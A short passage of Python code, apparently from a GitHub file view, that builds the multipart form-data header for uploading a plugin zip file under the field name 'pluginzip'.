             "name=\"pluginzip\"; filename=\"%s.zip\"\r\n"
             "Content-Type: application/zip\r\n\r\n" % (boundary, slug)).encode(),
Showing 500 of 768 lines View full file on GitHub →